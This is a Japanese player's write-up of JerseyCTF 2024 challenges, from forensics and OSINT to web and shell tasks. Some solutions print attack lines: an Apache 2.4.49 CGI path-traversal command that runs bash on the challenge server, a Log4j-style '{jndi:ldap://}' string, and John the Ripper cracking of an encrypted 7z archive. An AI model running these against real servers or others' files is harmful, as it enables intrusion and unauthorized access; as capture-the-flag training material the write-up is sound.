Worn Flag Generatorとしてプレイし、4754 pointを獲得して520チーム中76位でした
This site looks normal but why is there so much to read? What is the form for?
Devleoped by: Ash
はちゃめちゃに狭いメッセージボックスにはちゃめちゃに長い利用規約が出てくるので、そこに書いてある数字を探して適切なテキストボックスにいれて送信する
Dr. Tom Lei is up to something again and it's not sounding good. We heard he was messing around over at https://drtomlei.xyz. Maybe we should look into this.
Developed by: Cyb0rgSw0rd
ブログ的なサイトが渡される。
JWTがcookieに入ってるのでデコードすればOK
We are so happy to announce our very friendly & pretty basic chatbot! All was going well with it however, it must have ticked someone off that they decided to try to hack into the server and try to exploit it. This application, while seemingly benign, now contains hidden functionalities and potentially dangerous vulnerabilities reminiscent of the infamous
Log4j
exploit. We are asking for your help to step in and try to see how they got in. Your objective is to uncover these vulnerabilities, understand how they can be exploited, and ultimately use your findings to extract the flag hidden within the application's environment.Developed by: Jack
log4jを使う問題かと思いきや、ページ内のスクリプトに//if you are looking for the flag, maybe type something with this {jndi:ldap://}
と書いてある
その通りにテキストを送るとconsoleにフラグが出てくる
We found this control panel on the Internet. It seems to be broken. Can you find out more information?
Developed by: Noah Jacobson
apache 2.4.49のcgi で使えるexploitの問題
POST -c "text/plain" http://54.160.214.145:1337/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/bash
とかターミナルでたたいて、echo;lsとかするとls
したかのように見える
echo;の部分は多分必要…だと思うのだけれど、今になって見ると(ctf当日からもう丸1週間経っている)どうして必要なのかわからない(◞‸◟)
これを使って/var/www/cgi-bin/status
を見にいくと、flagがある場所が表示されるので、それを見にいく
- In a city completely integrated with technology and living expenses through the roof, one way to get ahead is to become a netrunner.
- One day while browsing at a convenient store you notice that someone installed a crypto skimmer at the checkout counter.
- This normally would charge the person an unnoticeable amount more but luckily you have a blocker on your wallet.
- Through a slight of hand, you snatch the device.
- You wonder: Can I gain access to the crypto wallet on the device?
- Encase the found crypto address as follows
jctf{ADDRESS}
Developed by: Native Function
ghidraで中身を見ると暗号通貨のアドレスっぽいものがそのまんま貼り付けられている
jctf{mxnhCEkuBogW3E7XAEzNmaq6eZqW3zgEuu}
- We got access to a terminal that the netrunners recently abandoned, it might have some useful information.
- Can you find a way to navigate the file system and see if there is anything of interest?
nc 18.213.3.107 1337
Developed by: TomB
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(){
char commandStr[32];
scanf("%s", commandStr);
int i;
const char * bTexts[6] = {"ls", "cat", "cd", "pwd", "less"};
int bTexts_size = (sizeof(bTexts) - 1) / sizeof(bTexts[0]);
if (strlen(commandStr) <= 5){
for(i = 0; i < bTexts_size; i++){
if(strstr(commandStr, (char*)(bTexts[i])) != 0){
printf("Terminating... a violation occured!\n");
exit(1);
}
}
system(commandStr);
}
else{
printf("Terminating... a violation occured!\n");
exit(2);
}
return 0;
}
指定された単語が使われておらず、かつ5文字以内になるコマンドのみを受け付けるようになっているshell
bash
が通る
一時期、どうして五文字以内なのにfind / -name "user.txt" 2>/dev/null
は通るんだろう…と疑問でいっぱいになっていたけれど、よくよく考えるとscanf
はスペースで文字を区切るので実際はfind
までしか読んでいないやつだった
Solve three multiplication questions and get a flag.
nc 18.207.140.246 9001
Developed by: Robert Blacha
While preparing for JerseyCTF IV last month, I was going to help with updating our main website over at jerseyctf.com…
As it turns out, I might have made a mistake when updating stuff and some of the staff are pretty disappointed with me now…
I thought it was fine! It didn't even show up on the website visibly… oh well… hopefully no one was viewing the website all the way back last month.Developed by: Daniel M.
archive.orgを見る
どういうわけか、14日のアーカイブには書き込まれていたフラグを削除しました
と書かれているが、15日のアーカイブにはフラグがある
I received these 2 files in an email and they mysterious sender asked me to find the differences between the files. I cannot seem to figure out the differences, it looks all the same to me! Can you help me spot the differences.
Once you find the differences, make to sure to encapsulate it in
jctf{answer}
Developed by theamazins17
diff -u file1 file2 | colordiff | diff-highlight
して、変化のある文字を抜き出すとフラグになる
colordiff
とかdiff-highlight
は多分パッケージマネージャにある
- Welcome to JCTF 2024! We're glad you're here.
- Please read the rules in the #rules Discord channel carefully.
- If you do, the flag will be revealed.
Developed by Cyb0rgSw0rd
ルールを読んでチェックマークをリアクションする
でも2024年ctf分の追加ルールには"読んだらチェックマークをリアクションしてね"とは書いてない
のにもかかわらず、2024年分の追加ルールにもチェックマークを入れなければflagが貰えない
自己紹介のテキストチャットがhi
で埋まってるのってこれのせいじゃない?
ボブは訝しんだ
Can you analyze this file and see if there's any data of interest?
Developed by NJCCIC
apkが渡されるのでapktoolで展開
vscodeでフォルダ開いてjctf で検索したらこのファイルがヒットした
<!-- \res\layout\activity_main.xml -->
<?xml version="1.0" encoding="utf-8"?>
<androidx.constraintlayout.widget.ConstraintLayout android:layout_width="fill_parent" android:layout_height="fill_parent"
xmlns:android="http://schemas.android.com/apk/res/android" xmlns:app="http://schemas.android.com/apk/res-auto">
<androidx.constraintlayout.widget.ConstraintLayout android:layout_width="fill_parent" android:layout_height="fill_parent">
<TextView android:id="@id/flagBegin" android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="jctf{" app:layout_constraintBottom_toBottomOf="parent" app:layout_constraintEnd_toEndOf="parent" app:layout_constraintStart_toStartOf="parent" app:layout_constraintTop_toTopOf="parent" />
<TextView android:id="@id/flagMiddle" android:visibility="invisible" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_marginBottom="1.0dip" android:text="c4n_y0u_s33_m3?" android:layout_marginStart="149.0dip" android:layout_marginEnd="148.0dip" app:layout_constraintBottom_toTopOf="@id/flagEnd" app:layout_constraintEnd_toEndOf="parent" app:layout_constraintStart_toStartOf="parent" app:layout_constraintTop_toBottomOf="@id/flagBegin" />
<TextView android:id="@id/flagEnd" android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="}" app:layout_constraintBottom_toBottomOf="parent" app:layout_constraintEnd_toEndOf="parent" app:layout_constraintStart_toStartOf="parent" app:layout_constraintTop_toTopOf="parent" app:layout_constraintVertical_bias="0.553" />
<Button android:id="@id/flagButton" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_marginTop="16.0dip" android:layout_marginBottom="254.0dip" android:text="Get Flag" android:onClick="showFlag" android:layout_marginStart="155.0dip" android:layout_marginEnd="155.0dip" app:layout_constraintBottom_toBottomOf="parent" app:layout_constraintEnd_toEndOf="parent" app:layout_constraintStart_toStartOf="parent" app:layout_constraintTop_toBottomOf="@id/flagEnd" />
</androidx.constraintlayout.widget.ConstraintLayout>
</androidx.constraintlayout.widget.ConstraintLayout>
android:textの値を連結すればいい
jctf{c4n_y0u_s33_m3?}
- We intercepted Dr. Tom's research into cloud storage and found some strange occurences.
- It looks like he uploaded his diary purposefully to test his cloud storage?
- We tried to decipher it, but it was too much to do manually. Here's the link: https://youtu.be/U0XRrGPQwbY
FLASHING LIGHTS WARNING: Viewer discretion is advised.
Developed by: Daniel M.
なんと解けた1000点問題
渡されたyoutubeを見ると謎の白黒ノイズのような動画が流れる。こんなことをしてyoutubeを無限ストレージ化する試みがあったなあと思いぐぐってみるとまさにこれらしい
https://gigazine.net/news/20230222-youtube-infinite-file-storage/
https://github.com/DvorakDwarf/Infinite-Storage-Glitch
READMEに書いてあるとおりの手順でDockerでビルドできる(ここまでで1時間位かかった)
実行して動画のidを入れるとzipが作成される。minecraftのセーブデータが入っていた
スーパーフラットのワールドに謎のブロックが並んでいる。また、インベントリに本が入っていた
e"no block = space\nacacia wood = period\nsponge = comma\nbirch wood = apostraphe"
改行を意図したであろう部分がおかしいが、おそらく
no block = space ( )
acacia wood = period (.)
sponge = comma (,)
birch wood = apostraphe (')
という意味であると推測した
と、いうことはこれは特定のブロックが特定のアルファベットに対応して文が書かれているのではないかと推測。
このままだと頻度解析などができないので、根性で使われていたブロックのテクスチャを書き換えて文字列化する
qadj qbdjl,
hbima b gdhc sjfca kaja b nbmuaq vn d ias kfppl. bh odebio.
hbima b kdta hf evmk cbea fi el hbqa, b'e dpga cf pamfea rvggl beeajhaq bi ckaha axnajbaimah diq aitfl ckae.
bi rdmc, b'e mfihbqajbio edubio d odea fr el fsi. lah, b'gg edua d odea cf cahc cka ngdlaj'h dpbgbcl cf cbea cjdtag.
ck bh odea hkfvgq pa cjbtbdg rfj nafnga gbua ea. b kfna cf rbiq efja nafnga sbck cka dpbgbcl cf cbea cjdtag rjfe bc.
b sbgg qbhcjbpvca ckbh odea tbd el aedbg pl caggbio nafnga cf aedbg ea diq dhu rfj cbeacjdtagodeaj.
b mdi'c sdbc cf haa skdc mfeah fr bc.
nh el aedbg bh qfmcfegab dc oedbg.mfe
それをquipqiupというソルバーに渡すとそれらしき英文が出力された!
dear diary,
since i last wrote here i picked up a new hobby. is gaming.
since i have so much time on my side, i'm able to become fully immersed in these experiences and envoy them.
in fact, i'm considering making a game of my own. yes, i'll make a game to test the player's ability to time travel.
th is game should be trivial for people like me. i hope to find more people with the ability to time travel from it.
i will distribute this game via my email by telling people to email me and ask for timetravelgamer.
i can't wait to see what comes of it.
ps my email is doctomlei at gmail.com
(ここまでで2.5時間くらい)
メールを送れと書いてあるので送ってみると
すぐに返信が来た
itch.ioで配布されているゲームがダウンロードでき、起動すると以下の画面だけが表示される
ここで1576800000秒(50年)待ってもよかったが、ctf終了まで時間がなかったので、dnSpy先輩にAssembly-CSharp.dllを投げてこの処理の後何が起こるか教えてもらう
表示されるフラグが書いてあった
jctf{t1m3_m4y_ch4ng3_m3_but_1_c4n_ch4ng3_t1m3}
I received this note with this code. Enclosed with it, it asked for help finding a specific US Navy ship that was linked to this code. Can you decipher this code to give me the name of this US Navy ship and the type of ship it was with its associated number?
Flag Format:
jctf{USS_Name_Of_Ship_TypeOfShip_Number}
Developed by: theamazins17
motto.png が渡される
https://en.wikipedia.org/wiki/Flag_semaphore
手機信号っぽいのでデコードするとこうなる:
FIRE POWER FOR FREEDOM
ググると、ニュージャージーであることがわかる
なるほど、motto
jctf{USS_New_Jersey_BB_62}
I found this image online, and it's blurry, I can't see all its details!
Flag format:
jctf{word_word_word_word}
Developed by: Jrs229
AI生成っぽい画像が渡される。これがどこかって言われても……
青空白猫するとzipが、さらにそのなかにtxtがある
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000jctf{0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000not000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000real0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000place}00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
なんだこれは
0を消すと文が浮かんでくるが、これではないらしい
でもこれしかないよなあと思って唸っていたら
jctf{not_a_real_place}
が正解だった。うーん……
I am currently lost.
I am trying to find a local attraction at my current location, but can't seem to remember the name.
Can you figure out what the name of this nearby attraction is called?Flag Format:
jctf{name_of_attraction}
Developed by: TomB
https://bubbablueandme.com/nottingham-city-of-caves/
Google Lensするとイングランド ノッティンガムのCity of Cavesという場所であることがわかる
jctf{City_of_Caves}
, jctf{City of Caves}
, jctf{National_Justice_Museum}
どれも通らず悩んでいたが
jctf{city_of_caves}
で通った うーん……2
NICC netrunners have intercepted network traffic sent over an insecure channel. It seems there are messages located somewhere sent by a suspect we believe to be under the influence of the Rogue AI. Perhaps there is a way to find information about where he plans to meet our informant for an exchange of secrets.
Flag Format - (special characters allowed, use dashes instead of spaces and no capitalization of letters)
jctf{name-of-location}
Developed by: BonsaiUmai
秘密の待合場所を見つけろとのこと。Wiresharkで通信をぐりぐりするとメッセージが見つかる。
Meet at the heart of Greenwich Village, we will then walk to my regular drinking spot where my favorite musician is displayed on a door. You should listen to Voodoo Chile, it's like one of my favorite songs by him. Oh did you know that the Voice of a Generation as he was named during that era must've hung out there. Seems like the place fared well after the Fourth Corporate War despite existing way before that calamity. I read that in the city paper. Oh well I'm just rambling. You'll see where it's at.
英語読めん。
読めなさすぎてChatGPTに投げたところ一発で解いてくれた。すごすぎる
あなたの説明から推測すると、非常に特定で象徴的な場所を指しているようです:
グリニッジ・ヴィレッジ:これは、特に音楽と芸術の面で歴史的および文化的な重要性を持つ、ニューヨーク市マンハッタンにある有名な地区です。
お気に入りのミュージシャンがドアに表示されている & Voodoo Chile:"Voodoo Chile"への言及は、ジミ・ヘンドリックスを強く連想させます。ドアにお気に入りのミュージシャンが表示されているという説明は、ヘンドリックスと関連した会場を示唆している可能性があります。
世代の声:このフレーズは、1960年代にグリニッジ・ヴィレッジの音楽シーンに深く関わったボブ・ディランとよく関連付けられています。
第四次企業戦争:これはゲームや推測フィクションからのような架空のイベントを連想させますが、多くの現代の出来事を生き延びてきた長い歴史を持つ場所を探すことを示唆しています。
これらの手がかりを組み合わせると、あなたが示唆している集合場所はおそらくカフェ・ワ(Cafe Wha?) でしょう。カフェ・ワは、ジミ・ヘンドリックスやボブ・ディランを含む伝説のミュージシャンをホストしてきた豊かな歴史で有名です。この会場は1960年代からニューヨーク音楽シーンの定番となっており、さまざまな実際のまたは架空のイベントを通じて「よくやってきた」という説明に合っています。「私の常連の飲み場」という言及と、「お気に入りのミュージシャンがドアに表示されている場所」は、カフェ・ワでヘンドリックスのようなアーティストが受けた賞賛と認識に一致しています。
フラグはメモり忘れた。たしかjtcf{cafe-wha?}
Flag Format - (special characters allowed, use dashes instead of spaces and no capitalization of letters)
というのがヒントだったみたい
We heard a distress call and received a transmission. Only this text came through. You better take a look at this at once! It's definitely not Greek, I'll tell you that right now.
Developed by: rickyhernandez1000
Dwwhqwlrq MFWI djhqwv! Dq xqnqrzq DSW lv klmdfnlqj qhwzrunv wr vsuhdg vwhdowk pdozduh xvlqj vwrohq vrxufh frgh. Brxu plvvlrq: wudfn grzq wkh vrxufh ri wkh ohdnv dqg vwrs wkh zlgh-vsuhdg dwwdfnv dfurvv rxu qhwzrunv. Wlph lv uxqqlqj rxw. Wkh {idwh-ri-wkh-zhe} lv lq brxu kdqgv!
We've been given a file and need to figure out what url it was downloaded from.
Developed by: Ian
strings
すると出てくる
You know you're getting old when you hear the music these kids are putting out and all you think is "no thank you."
Anyway, I'm too old for this or maybe I need some cybernetic ears or something. Maybe you'll like these groovy tunes.
Developed by: Cyb0rgSw0rd
やたらピコピコした音声ファイルのfrequency spectrumを見ると、そこにflagが書いてある
お得情報: ここから波形表示からスペクトグラム表示に変えられる
A workstatiobn we are examining had some open files at the time of the memory capture. Examine the memory image at open-notes.vmem to find the flag.
Developed by NJCCIC
Windowsのメモリダンプらしきvmemファイルが渡される
Volatilityというメモリ分析をするソフトウェアで解くらしい (memory analysisという分野らしい)
https://github.com/volatilityfoundation/volatility3
使ったことなかったので他のwriteupを見ながら挑戦。Volatility 3自体はkaliで難なく導入できた。
https://blog.hamayanhamayan.com/entry/2023/02/05/192852
windows.pstree
プラグインを実行するとnotepadが実行されていることがわかる。open-notesという問題名からこのメモ帳に表示されている文字を抜き出すのが目的だろうと推測した。
ググっていると「起動しているメモ帳に表示されている文字を抜き出す」というぴったりなVolatility 3プラグインを公開している人がいたので、それを使うとフラグを入手できた
https://medium.com/@rifqiaramadhan/volatility-3-plugin-kusertime-notepad-sticky-evtxlog-f0e8739eee55
Our informant has met back with us at base. He has stolen a file from a suspect who’s starting to show dangerous signs of cyberpsychosis. Aside from his unending lust for bloodshed, our informant noted that the suspect would not shut up about “rats making him crazy” as well as the term “Base FFFF+1” but that’s probably just nonsense. Anyways, can you look beyond the layers of this corrupted file to extract the information that we need?
Developed by: BonsaiUmai
意味わからん問題文。壊れたjpgが渡される。
青空白猫で覗くとzipとzipと7zが入っていることがわかる。
1つ目のzipにはpassword.txtとprotected_2.7zが入っている
これらはパスワードが掛けられていないので普通に取り出せる。
password.txtはパスワードのような文字列のテキストファイル
7zはパスワード付き。
7z2johnでハッシュを作り、johntheripperにwordlistとしてpassword.txtをあげると開ける
参考:
7z
1.7z2john ./chicken.7z > chicken.hash
でハッシュを抜き出す
2.john chicken.hash --wordlist=/usr/share/dirb/wordlists/rockyou.txt --format=7z-opencl
みたいに解析
https://blog.hamayanhamayan.com/entry/2021/12/23/225445
そうして開かれたprotected_2.7zにはprotected.zip(パスワードなし)が入っている
protected.zipにはsecret_plans.txtという謎のテキストが出てくる
𒄠
👆️これ、どこかで見たことがあるなあと思い、"𒄠 ctf"でググったところBase65536であることが判明したので、適当なデコーダに通してクリア
https://www.better-converter.com/Encoders-Decoders/Base65536-Decode
jctf{1-4m-50-50rry-f0r-7h15}
なお青空白猫で見つかった2つ目のzipは1つ目のzipの中に入っているzipを検出しているので、青空白猫で抽出しても開けなかった
A workstation we are examing had a browser open at the time of the acquisition. Examine the memory image living-on-the-edge.vmem to find the flag.
Developed by NJCCIC
open-notesの続き
pstreeするとmsedgeが起動していることがわかるので、なんとかしてデータを受け取る問題
御存知の通りmsedgeはchromiumなのでchromeを調査するためのツールが使える。Volatility chromeなどで検索すると出てくる
https://blog.superponible.com/2014/08/31/volatility-plugin-chrome-history/
が、これは古く、Volatility 2用なので3では使えない。いろいろ調べ回ったがこれ以外見つからなかった + 3用に直す力はなかったのでVolatility 2を動かす方針にした
動かしてみたところ履歴が出たが一部化けていて困った
めんどいのでエスパーで解決した
jctf{3dg3_0f_y0ur_s3at}
どうやって解くのが正攻法だったんだろう
https://www.ctfiot.com/169617.html
Magnet AXIOMという同じようなことをするプロ向けソフトがあるらしい(無料ライセンスはないらしい)
Due to the onerous password requirements at NICC (four characters), Mary Morse decided to write a password manager for herself.
Unfortunately, all it does it tell you if you guessed the password correctly.
Can you crack it?Developed by: Ryan Tolboom
ハードコードされている数字か文字列を内部で処理して、その値と入力された値を比較しているっぽい感じに見えた
比較する寸前で処理し終えた値を見ればよいのだろうけれど…gdbの使い方が本当にわからんので諦めた問題
https://cyberghost13337.github.io/2024/03/24/JerseyCTF-2024.html#PasswordManager
この方を見る感じ、やり方はあっていたので本当にgdbの使い方の問題だった